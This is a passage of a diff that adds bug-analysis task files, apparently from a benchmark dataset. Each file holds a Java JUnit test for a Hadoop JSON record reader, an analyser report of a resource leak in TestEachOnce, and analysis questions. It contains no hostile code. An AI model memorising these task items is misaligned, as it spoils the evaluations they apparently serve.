+		Assert.assertArrayEquals(new int[] {2, 3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 45, 140)));
+		Assert.assertArrayEquals(new int[] {4,5,6}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 181, 289)));
+		Assert.assertArrayEquals(new int[] { 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 336, 400)));  // 7|{}"
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 14, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 22, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 23, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 24, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 25, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 68)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 69)));
+	}
+
+	@Test
+	public void TestEscQuoteLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscAposLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 43, 140)));
+	}
+
+	@Test
+	public void TestEscSlashLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscCloseLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscOpenLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] { 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 268, 280)));
+	}
+
+	@Test
+	public void TestEscPoints() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 74), true));
+		Assert.assertArrayEquals(new int[] {0, 75}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 76), true));
+		Assert.assertArrayEquals(new int[] {75, 146}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 70, 148), true));
+	}
+
+	// This tests some multi-byte characters in UTF-8.
+	// If implementing a byte-based approach instead of character-based,
+	// the test itself would probably have to be updated to byte-based offsets
+	@Test
+	public void TestCharacters() throws IOException {
+		//int[] recordBreaks = new int[] { 0, 42, 84, 126, 168, 210, ...};  // character-based offsets
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 42), true));
+		Assert.assertArrayEquals(new int[] {0,42}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 38, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 39, 43), true));
+		Assert.assertArrayEquals(new int[] {84,126,168}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 43, 200), true));
+		Assert.assertArrayEquals(new int[] {210,252,294,336}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 200, 400), true));
+	}
+
+	@Test
+	public void TestGeomFirst() throws IOException {
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 32, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 48, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 49, 54)));
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 0, 52), true));
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `getReaderFor(...)` at line 79 is not released after line 79.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestUnenclosedJsonRecordReader.TestEachOnce()
+
+### Procedure Id:
+com.esri.json.hadoop.TestUnenclosedJsonRecordReader.TestEachOnce():void.cebfbb245051d87f2e07d7307a411fae
+
+### File:
+json/src/test/java/com/esri/json/hadoop/TestUnenclosedJsonRecordReader.java
+
+### Key:
+TestUnenclosedJsonRecordReader.java|TestEachOnce|RESOURCE_LEAK
+
+### Node Key:
+df0efd48083e294955bf88e2a7226f99
+
+### Hash:
+44fcf868ccc54887a16ffacccb8190e6
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8674/instruction.md b/inferredbugs-8674/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d3b542747b4fb40ce6c9b7e3beb7c3acd711a953
--- /dev/null
+++ b/inferredbugs-8674/instruction.md
@@ -0,0 +1,302 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spatial-framework-for-hadoop
+**Bug ID:** 18
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.esri.json.hadoop;
+
+import java.io.IOException;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.apache.hadoop.fs.Path;
+import org.apache.hadoop.io.LongWritable;
+import org.apache.hadoop.io.Text;
+import org.apache.hadoop.mapred.FileSplit;
+import org.apache.hadoop.mapred.JobConf;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class TestUnenclosedJsonRecordReader {
+	private UnenclosedJsonRecordReader getReaderFor(String resource, int start, int end) throws IOException {
+		Path path = new Path(this.getClass().getResource(resource).getFile());
+		
+		JobConf conf = new JobConf();
+		
+		FileSplit split = new FileSplit(path, start, end - start, new String[0]);
+		
+		return new UnenclosedJsonRecordReader(split, conf);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader) throws IOException {
+		return getRecordIndexesInReader(reader, false);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader, boolean flag) throws IOException {
+		List<Integer> linesList = new LinkedList<Integer>();
+		
+		LongWritable key = reader.createKey();
+		Text value = reader.createValue();
+		
+		while (reader.next(key, value)) {
+			int line = flag ? (int)(key.get()) : value.toString().charAt(23) - '0';
+			linesList.add(line);
+			System.out.println(key.get() + " - " + value.toString());
+		}
+		
+		int [] lines = new int[linesList.size()];
+		for (int i=0;i<linesList.size();i++) {
+			lines[i] = linesList.get(i);
+		}
+		return lines;
+	}
+	
+	@Test
+	public void TestArbitrarySplitLocations() throws IOException {
+		
+		//int totalSize = 415;
+		
+		//int [] recordBreaks = new int[] { 0, 40, 80, 120, 160, 200, 240, 280, 320, 372 };
+	
+		
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 40)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 41)));
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 42)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 39, 123)));
+		
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 20, 123)));
+		Assert.assertArrayEquals(new int[] { 1, 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 40, 123)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+		Assert.assertArrayEquals(new int[] { 6, 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 240, 340)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 353, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 354, 415)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 355, 415)));
+	}
+
+	@Test
+	public void TestEachOnce() throws IOException {
+		//Each record exactly once - see commit b8f6d6dfaf11cce7d8cba54e6011e8684ade0e85, issue #68
+		Assert.assertArrayEquals(new int[] { 0, 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 63)));
+		Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 63, 121)));
+		Assert.assertArrayEquals(new int[] { 4 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 121, 187)));
+		Assert.assertArrayEquals(new int[] { 5, 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 187, 264)));
+		Assert.assertArrayEquals(new int[] { 7, 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 264, 352)));
+		Assert.assertArrayEquals(new int[] { 9 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 352, 412)));
+
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 0, 23)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 23, 41)));
+		// Assert.assertArrayEquals(new int[] { 2, 3 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-simple.json", 41, 123)));
+	}
+
+	@Test
+	public void TestWhitespace() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-return.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Ignore  // May not be guaranteed behavior
+	public void TestComma() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 57, 111, ,  };
+		int[] rslt = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 222), true);
+		Assert.assertEquals(4, rslt.length);
+		int[] before = null, after = null;
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 56), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 56, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 57), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 57, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+		before = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 0, 58), true);
+		after = getRecordIndexesInReader(getReaderFor("unenclosed-json-comma.json", 58, 222), true);
+		Assert.assertEquals(4, before.length + after.length);
+	}
+
+	@Test
+	public void TestEscape() throws IOException {  // Issue #68
+		//int [] recordBreaks = new int[] { 0, 44, 88, 137, 181, 229, 270, 311, 354 };  //length 395
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 43, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] {2, 3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 45, 140)));
+		Assert.assertArrayEquals(new int[] {4,5,6}, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 181, 289)));
+		Assert.assertArrayEquals(new int[] { 8 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 336, 400)));  // 7|{}"
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 14, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 22, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 23, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 24, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 25, 45)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 68)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-escape.json", 44, 69)));
+	}
+
+	@Test
+	public void TestEscQuoteLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc1.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscAposLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc2.json", 43, 140)));
+	}
+
+	@Test
+	public void TestEscSlashLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc3.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscCloseLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 25, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc4.json", 44, 140)));
+	}
+
+	@Test
+	public void TestEscOpenLast() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 44)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 45)));
+		Assert.assertArrayEquals(new int[] {0, 1}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 0, 46)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 19, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 26, 140)));
+		Assert.assertArrayEquals(new int[] {1,2,3}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 44, 140)));
+		Assert.assertArrayEquals(new int[] { 6 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc5.json", 268, 280)));
+	}
+
+	@Test
+	public void TestEscPoints() throws IOException {
+		//int [] recordBreaks = new int[] { 0, 75, 146, 218, 290, 362, , ,  };
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 74), true));
+		Assert.assertArrayEquals(new int[] {0, 75}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 0, 76), true));
+		Assert.assertArrayEquals(new int[] {75, 146}, getRecordIndexesInReader(getReaderFor("unenclosed-json-esc-points.json", 70, 148), true));
+	}
+
+	// This tests some multi-byte characters in UTF-8.
+	// If implementing a byte-based approach instead of character-based,
+	// the test itself would probably have to be updated to byte-based offsets
+	@Test
+	public void TestCharacters() throws IOException {
+		//int[] recordBreaks = new int[] { 0, 42, 84, 126, 168, 210, ...};  // character-based offsets
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 42), true));
+		Assert.assertArrayEquals(new int[] {0,42}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 0, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 38, 43), true));
+		Assert.assertArrayEquals(new int[] { 42 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 39, 43), true));
+		Assert.assertArrayEquals(new int[] {84,126,168}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 43, 200), true));
+		Assert.assertArrayEquals(new int[] {210,252,294,336}, getRecordIndexesInReader(getReaderFor("unenclosed-json-chars.json", 200, 400), true));
+	}
+
+	@Test
+	public void TestGeomFirst() throws IOException {
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 32, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 48, 54)));
+		Assert.assertArrayEquals(new int[] { 1 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 49, 54)));
+		Assert.assertArrayEquals(new int[] { 0 }, getRecordIndexesInReader(getReaderFor("unenclosed-json-geom-first.json", 0, 52), true));
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.InputStreamReader` acquired by call to `getReaderFor(...)` at line 77 is not released after line 77.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TestUnenclosedJsonRecordReader.TestEachOnce()
+
+### Procedure Id:
+com.esri.json.hadoop.TestUnenclosedJsonRecordReader.TestEachOnce():void.cebfbb245051d87f2e07d7307a411fae
+
+### File:
+json/src/test/java/com/esri/json/hadoop/TestUnenclosedJsonRecordReader.java
+
+### Key:
+TestUnenclosedJsonRecordReader.java|TestEachOnce|RESOURCE_LEAK
+
+### Node Key:
+df0efd48083e294955bf88e2a7226f99
+
+### Hash:
+44fcf868ccc54887a16ffacccb8190e6
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8687/instruction.md b/inferredbugs-8687/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fe41a7584d998dbabfb8a4b18376028d09fdce07
--- /dev/null
+++ b/inferredbugs-8687/instruction.md
@@ -0,0 +1,302 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spatial-framework-for-hadoop
+**Bug ID:** 74
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.esri.json.hadoop;
+
+import java.io.IOException;
+import java.util.LinkedList;
+import java.util.List;
+
+import org.apache.hadoop.fs.Path;
+import org.apache.hadoop.io.LongWritable;
+import org.apache.hadoop.io.Text;
+import org.apache.hadoop.mapred.FileSplit;
+import org.apache.hadoop.mapred.JobConf;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class TestUnenclosedJsonRecordReader {
+	private UnenclosedJsonRecordReader getReaderFor(String resource, int start, int end) throws IOException {
+		Path path = new Path(this.getClass().getResource(resource).getFile());
+		
+		JobConf conf = new JobConf();
+		
+		FileSplit split = new FileSplit(path, start, end - start, new String[0]);
+		
+		return new UnenclosedJsonRecordReader(split, conf);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader) throws IOException {
+		return getRecordIndexesInReader(reader, false);
+	}
+
+	int [] getRecordIndexesInReader(UnenclosedJsonRecordReader reader, boolean flag) throws IOException {
+		List<Integer> linesList = new LinkedList<Integer>();
+		
+		LongWritable key = reader.createKey();
+		Text value = reader.createValue();
+		
+		while (reader.next(key, value)) {
+			int line = flag ? (int)(key.get()) : value.toString().charAt(23) - '0';
+			linesList.add(line);
+			System.out.println(key.get() + " - " + value.toString());
+		}
+		
+		int [] lines = new int[linesList.size()];
+		for (int i=0;i<linesList.size();i++) {
+			lines[i] = linesList.get(i);
+		}
+		return lines;
+	}
+	
+	@Test
+	public void TestArbitrarySplitLocations() throws IOException {
+		
+		//int totalSize = 415;
+		
